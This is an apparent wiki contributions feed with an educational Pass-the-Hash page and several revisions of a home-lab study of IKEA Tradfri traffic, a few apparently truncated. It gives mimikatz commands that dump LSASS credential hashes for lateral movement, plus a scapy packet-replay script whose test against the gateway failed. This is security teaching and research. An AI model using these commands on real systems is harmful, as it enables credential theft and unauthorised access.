Elvis Wiki - User contributions [en]

Pass-the-Hash (PtH)

2020-12-20T23:43:54Z

DAmon: Updated the document

[Disclamer: this Wiki page is just an explanation of how Pass-The-Hash attack works and how it can be carried out and is done only for educational purposes.
The author does not hold any responsibility for any misuse of the information included in this Wiki page and advises not to use it for any illegal actions nor in any way that could be harmful to any person or entity.]

== Introduction ==

Pass-the-hash is a method used by hackers to authenticate themselves to servers even if they do not have the password! The technique makes use of a flaw in the user-authentication protocols, such as NTLM and LM.

The authentication protocols authenticate the user by checking the hash of the password instead of the password itself. Hence the hashing algorithm always resolves to the same hash as long as the password is not changed.

This allows the attackers to focus on obtaining the hash, which is a lot easier than trying to get the password using brute-force.

While the attack is more common on windows servers environments, it is still possible to attack, for example, a Linux server that is using the same vulnerable protocols that we are going to discuss.

== Pass-the-Hash Attack ==

It is almost a day-to-day activity these days that administrators and even regular users authenticate to remote servers.
Since remote servers nowadays are most likely to have valuable information stored, it is only natural to allow access only to authorized users.

To do this, engineers have to come up with protocols that authenticate and challenge users to prove that they are whom they say they are, usually by providing a password.

Most of these protocols would hash the password on the client-side and then send the hashed password over the network to authenticate.
The flaw here is that a mere hashing of a password would yield the same hash every time, as long as both the password and the hashing algorithm remain the same.

This would turn the hash itself into an equivalent of that password, and it would lose its meaning. Before we start having a look at how this attack works and how can we mitigate it, let us have a look at the protocols themselves and how they work.

=== NTLM ===

NTLM stands for NT LAN Manager, and was developed by Microsoft, therefore it is mostly implemented in Microsoft products.
It is an authentication protocol that authenticate users to remote servers, so they can access them. The first version of NTLM turned out to have many issues that made it very insecure over the time.

Some of these vulnerabilities in its algorithms and protocols were:

* No distinguishing between capital and small letters, i.e., case-insensitive.
* It did not allow long passwords, but only up to 14 chars.
* Only 56 Bit out of a 128 Bit where used for the key

As we can see, by knowing today's security standards, there is no need to say why the entire protocol was weak and prone to attacks.
All this and more have lead to the development of a successor called NTLMv2. It is used for Single-Sign-On (SSO), so User only need to enter the password once in order to access the network resource.

With Windows 10, NTLMv2 was used by default.

=== Authentication Steps - Network Resource ===

This setup uses an authentication server, here called Domain Controller, which knows all the users and their corresponding hash value of the password, in order to verify them.

[[File:Ntlm-authentication-steps.jpg|850px]]

# The user enters the password of the account
# The username and the hash of the password get stored in RAM in a process called LSASS (more to that later)
# The client now sends a request to the network resource in order to access it
# The server responds with a CHALLENGE message (usually a 16-bit number) to identify the client
# The client encrypts the challenge with the NTLM hash of the password and sends it back to the server
# The server sends the username, the encrypted challenge and the plain challenge to the authentication server
# The authentication server decrypts the message from the client and compares the values
# If the challenges match, the authentication server informs the server, which then grants the client access

=== Functionality ===

There are a couple of ways to do a PtH attack:

* Compromising a Host and reading out Hashes locally
** Windows stores hashes of currently logged in domain and local users in memory, in a process called Local Security Authority Subsystem Service (LSASS)
** The hashes of currently logged out local users are stored in a registry file or also called the Security Account Manager (SAM)
* Sniffing the network for any hashes that are being transferred

To readout the LSASS process or the SAM, the program needs local admin rights. Thus, the user has to be tricked into executing it with the according rights.

== Tools ==

PtH attack can be carried out using a set of tools.
Some of the most popular tools to carry out the PtH attack are:

* samdump2
* mimikatz

=== samdump2 ===

samdump2 tool was designed to get dumps of Windows password hashes, namely Windows XP, NT, and 2k, and as the name suggests it does this by taking a dump of the SAM file using something called syskey, which is a feature in Windows that is supposed to strengthen the SAM database by adding and an additional layer of encryption.

=== mimikatz ===

Mimikatz tool, on the other hand, tries to extract hashes, PIN codes, as well as passwords in plain text from memory.
It is a much stronger tool since it allows a wider variety of other attacks that are mainly focused on playing with the weak security of Windows systems that use the protocols mentioned above.
Mimikatz is also one of few tools that got updated, after Windows Defender Credential Guard (WDCG) was enabled by default with Windows 10. WDCG made the access to the LSASS process extremely difficult.
This concludes the set of tools that are going to be used in the accompanying demonstration of this essay to demonstrate how PtH attack works when using these tools.

== Mitigation ==

Over the years, many improvements to the vulnerable protocols in question have been released, and more and more studies are being done by Microsoft [5] and other institutions to mitigate this attack.
Some of the mitigation techniques that are mentioned in these studies are:

# Protecting the accounts that have high-privileges by adding more restrictions to them.
# Removing administrative privileges to local accounts and then restricting these accounts to help to prevent the attackers from taking advantage of such accounts.
# Adding firewall rules that would restrict the incoming traffic to the server.
# Correlating Authentication Services.

== Demonstration using mimikatz ==

In our scenario, we have two computers that belong to different domains but are inside the same intranet network, let us say one belongs to the administrators' domain, and the second one belongs to the employees' domain.

All that is left now is for someone from the employee domain, to ask someone from the administrators' domain to install something on their PC using their admin account.

When the administrator logs in to the employee's pc, the hash value is saved locally in the LSASS process. Now the attack is ready to be carried out.

Because the employee knows a way to become local admin he downloads mimikatz, executes it and types the following:

privilege::debug;

This command grant mimikatz debug rights which are also needed.

sekurlsa::logonpasswords;

This would then show a dump of all the NTLM hashes that are stored on the system, and of course, it also includes the NTLM hash of the domain administrator.

Now the employee can use the information of that admin (username, domain, and NTLM hash) to authenticate to other clients and servers in that domain.

== Conclusion ==

The pass-the-hash attack can be a horrifying attack given what kind of privileges it gives the attacker in the case of a successful attack, but this is not the end of the mitigation methods that were implemented with a regular update to the system it should mitigate the attack and protect servers against it. Also, there is a server lining, in that it pushes forward the security of Windows servers and let the developers focus on improving them to let system administrators have much more secure servers to deal with.

== Sources ==

* https://github.com/gentilkiwi/mimikatz
* https://linux.die.net/man/1/samdump2
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
* https://www.microsoft.com/en-us/download/details.aspx?id=36036
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/a4f28e01-3df1-4fd1-80b2-df1fbc183f21
* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997?redirectedfrom=MSDN
* https://ieeexplore.ieee.org/document/7474171
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-windows-10-39170
*

[[Category:Documentation]]

File:Ntlm-authentication-steps.jpg

2020-12-20T22:13:09Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-06-27T11:22:28Z

DAmon:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

[[File:Pi-hole.png]]

=== ntopng ===
They include the
involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

=== Wireshark ===
Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

=== Turning devices on/off ===
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):

Light Bulb ON 
[[File:Ikea-gluehbirne_ein.png|700px]]

Light Bulb OFF 
[[File:Ikea-gluehbirne_aus.png|700px]]

As opposed to the smart plug where the on sequence is longer than the off sequence:

Smart Plug ON 
[[File:Ikea-strom ein.png|700px]]

Smart Plug OFF 
[[File:Ikea-strom aus.png|700px]]

(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)

== Interrupt Communication ==
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script. The network structure is as follows:

IP overview:

[[File:mitm_findings.png|700px]]

=== Structure ===
[[File:mitm-top.png|800px]]

Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.

In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.

[[File:mitmproxy-cert.png|800px]]

Here you choose the right operating system and download the certificates.

The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.

[[File:wireshark-dtls.png]]

You can also observe that there are several connections to different servers outside the network.

[[File:wireshark-tls.png]]

The following messages can be decrypted.

[[File:mitm-sniff.png]]

Both include a JSON-file.

[[File:Json-file-mitm.jpg]]

* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.

192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy's certificate for data.logentries.com.
192.168.24.241:59332: ClientHandshakeException('Cannot establish TLS with client (sni: data.logentries.com): TlsException("(-1, \'Unexpected EOF\')")')
::ffff:192.168.24.241:58971: serverdisconnect
-> ('99.86.243.4', 443)
192.168.24.241:59332: clientdisconnect
::ffff:192.168.24.241:40204: serverdisconnect
-> ('99.86.243.50', 443)
192.168.24.241:58971: clientdisconnect
192.168.24.241:40204: clientdisconnect
192.168.24.241:41657: clientconnect
::ffff:192.168.24.241:41657: Establish TLS with client
192.168.24.241:50453: clientconnect
::ffff:192.168.24.241:50453: serverconnect
-> ('99.86.243.36', 443)
192.168.24.241:42222: clientconnect
::ffff:192.168.24.241:42222: serverconnect
-> ('99.86.243.4', 443)
::ffff:192.168.24.241:42222: Establish TLS with server
::ffff:192.168.24.241:50453: Establish TLS with server
::ffff:192.168.24.241:42222: ALPN selected by server: -
::ffff:192.168.24.241:42222: Establish TLS with client
::ffff:192.168.24.241:50453: ALPN selected by server: -
::ffff:192.168.24.241:50453: Establish TLS with client
::ffff:192.168.24.241:42222: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: request
-> Request(GET /US/en/getPolicyUpdate/?deviceType=android)
::ffff:192.168.24.241:42222: request
-> Request(GET /AppDetails)
::ffff:192.168.24.241:42222: response
-> Response(200 OK, application/json, 44b)
::ffff:192.168.24.241:50453: response
-> Response(200 OK, application/json, 374b)

The DTLS connection between the app and the gateway, however, does not appear in the mitm log.

=== Replay-Attack ===
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Every time you close the app and open it again, a new transmission must be recorded. This is because this is a new session, so the IKEA Gateway and the App have a new shared secret. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what's happening.

[[File:replay-attack.png]]

As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.

This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.

=== Change Sequence Number ===
To change the sequence number, we used a workaround in Wireshark. In Wireshark you can select multiple Packets and then copy them as hex dump.

[[File:Wireshark-save-hexdump.png|700px]]

0000 dc a6 32 7d 1d 37 c0 ee fb 4a 9b b5 08 00 45 00
0010 00 69 57 0a 40 00 40 11 47 f6 c0 a8 18 f1 c0 a8
0020 01 42 a4 1a 16 34 00 55 ff 2e 17 fe fd 00 01 00
0030 00 00 00 00 34 00 40 00 00 00 00 00 00 00 16 21
0040 39 8a 8a c5 dd c3 3d 67 ba de a5 5f 0a 10 8c e2
0050 75 da ca a1 db ae a2 08 c6 e6 a6 94 32 db d0 cd
0060 d1 63 e6 bd 32 db 2f 14 1a a1 08 be e9 ac ff 43
0070 48 1b 54 a9 f9 f7 4f

After you have copied the packet you can put it into a texteditor and edit the part of the packet you want. In our case we changed the 00 00 00 00 00 34 in line 0020 and 0030 to the appropriate sequence number. We found out that after each full communication the number raised by four. So, when the last recorded sequence number was 48 the next one is 52 and then 56 and so on. This is the decimal number you have to convert it so hex and change it in the text editor and save it.

In wireshark it is possible to import packets from a textfile with hexdump in it.

[[File:Wireshark-import-hexdump1.png]]

[[File:Wireshark-import-hexdump2.png]]

After you have imported the hexdump save the file as pcap file.

In order to send the packets, edit the marked parts in the python script.

#! /usr/bin/python3
from scapy.all import *
from scapy.utils import rdpcap
import time

pkts=rdpcap("path of the pcap file") # reads the pcap file and saves the list in the pkts var

# iterates through the list
for pkt in pkts:
pkt[Ether].src = "'''sender mac'''" # MAC of the sender
pkt[Ether].dst= "'''target mac'''" # MAC of the target

pkt[IP].src= "'''sender ip'''" # IP of the sender
pkt[IP].dst = "'''target ip'''" # IP of the target

del pkt.chksum # deletes the current checksum in the IP header
del pkt[UDP].chksum # deletes the checksum in UDP header
pkt = pkt.__class__(bytes(pkt)) # scapy builds the packet new and calculates the missing checksums new

sendp(pkt) # sending packet
time.sleep(2)

After that the script can be executed.

Install c't'-Raspion on Raspberry PI

2020-06-27T11:21:14Z

DAmon:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

[[File:Pi-hole.png]]

=== ntopng ===
They include the
involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

=== Wireshark ===
Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

=== Turning devices on/off ===
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):

Light Bulb ON 
[[File:Ikea-gluehbirne_ein.png|700px]]

Light Bulb OFF 
[[File:Ikea-gluehbirne_aus.png|700px]]

As opposed to the smart plug where the on sequence is longer than the off sequence:

Smart Plug ON 
[[File:Ikea-strom ein.png|700px]]

Smart Plug OFF 
[[File:Ikea-strom aus.png|700px]]

(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)

== Interrupt Communication ==
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script. The network structure is as follows:

IP overview:

[[File:mitm_findings.png|700px]]

=== Structure ===
[[File:mitm-top.png|800px]]

Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.

In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.

[[File:mitmproxy-cert.png|800px]]

Here you choose the right operating system and download the certificates.

The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.

[[File:wireshark-dtls.png]]

You can also observe that there are several connections to different servers outside the network.

[[File:wireshark-tls.png]]

The following messages can be decrypted.

[[File:mitm-sniff.png]]

Both include a JSON-file.

[[File:Json-file-mitm.jpg]]

* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.

192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy's certificate for data.logentries.com.
192.168.24.241:59332: ClientHandshakeException('Cannot establish TLS with client (sni: data.logentries.com): TlsException("(-1, \'Unexpected EOF\')")')
::ffff:192.168.24.241:58971: serverdisconnect
-> ('99.86.243.4', 443)
192.168.24.241:59332: clientdisconnect
::ffff:192.168.24.241:40204: serverdisconnect
-> ('99.86.243.50', 443)
192.168.24.241:58971: clientdisconnect
192.168.24.241:40204: clientdisconnect
192.168.24.241:41657: clientconnect
::ffff:192.168.24.241:41657: Establish TLS with client
192.168.24.241:50453: clientconnect
::ffff:192.168.24.241:50453: serverconnect
-> ('99.86.243.36', 443)
192.168.24.241:42222: clientconnect
::ffff:192.168.24.241:42222: serverconnect
-> ('99.86.243.4', 443)
::ffff:192.168.24.241:42222: Establish TLS with server
::ffff:192.168.24.241:50453: Establish TLS with server
::ffff:192.168.24.241:42222: ALPN selected by server: -
::ffff:192.168.24.241:42222: Establish TLS with client
::ffff:192.168.24.241:50453: ALPN selected by server: -
::ffff:192.168.24.241:50453: Establish TLS with client
::ffff:192.168.24.241:42222: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: request
-> Request(GET /US/en/getPolicyUpdate/?deviceType=android)
::ffff:192.168.24.241:42222: request
-> Request(GET /AppDetails)
::ffff:192.168.24.241:42222: response
-> Response(200 OK, application/json, 44b)
::ffff:192.168.24.241:50453: response
-> Response(200 OK, application/json, 374b)

The DTLS connection between the app and the gateway, however, does not appear in the mitm log.

=== Replay-Attack ===
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Every time you close the app and open it again, a new transmission must be recorded. This is because this is a new session, so the IKEA Gateway and the App have a new shared secret. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what's happening.

[[File:replay-attack.png]]

As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.

This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.

=== Change Sequence Number ===
To change the sequence number, we used a workaround in Wireshark. In Wireshark you can select multiple Packets and then copy them as hex dump.

[[File:Wireshark-save-hexdump.png|700px]]

0000 dc a6 32 7d 1d 37 c0 ee fb 4a 9b b5 08 00 45 00
0010 00 69 57 0a 40 00 40 11 47 f6 c0 a8 18 f1 c0 a8
0020 01 42 a4 1a 16 34 00 55 ff 2e 17 fe fd 00 01 00
0030 00 00 00 00 34 00 40 00 00 00 00 00 00 00 16 21
0040 39 8a 8a c5 dd c3 3d 67 ba de a5 5f 0a 10 8c e2
0050 75 da ca a1 db ae a2 08 c6 e6 a6 94 32 db d0 cd
0060 d1 63 e6 bd 32 db 2f 14 1a a1 08 be e9 ac ff 43
0070 48 1b 54 a9 f9 f7 4f

After you have copied the packet you can put it into a texteditor and edit the part of the packet you want. In our case we changed the 00 00 00 00 00 34 in line 0020 and 0030 to the appropriate sequence number. We found out that after each full communication the number raised by four. So, when the last recorded sequence number was 48 the next one is 52 and then 56 and so on. This is the decimal number you have to convert it so hex and change it in the text editor and save it.

In wireshark it is possible to import packets from a textfile with hexdump in it.

[[File:Wireshark-import-hexdump1.png]]

[[File:Wireshark-import-hexdump2.png]]

After you have imported the hexdump save the file as pcap file.

In order to send the packets, edit the missing fields in the python script.

#! /usr/bin/python3
from scapy.all import *
from scapy.utils import rdpcap
import time

pkts=rdpcap("path of the pcap file") # reads the pcap file and saves the list in the pkts var

# iterates through the list
for pkt in pkts:
pkt[Ether].src = "sender mac" # MAC of the sender
pkt[Ether].dst= "target mac" # MAC of the target

pkt[IP].src= "sender ip" # IP of the sender
pkt[IP].dst = "target ip" # IP of the target

del pkt.chksum # deletes the current checksum in the IP header
del pkt[UDP].chksum # deletes the checksum in UDP header
pkt = pkt.__class__(bytes(pkt)) # scapy builds the packet new and calculates the missing checksums new

sendp(pkt) # sending packet
time.sleep(2)

After that the script can be executed.

Install c't'-Raspion on Raspberry PI

2020-06-27T11:16:54Z

DAmon:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

[[File:Pi-hole.png]]

=== ntopng ===
They include the
involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

=== Wireshark ===
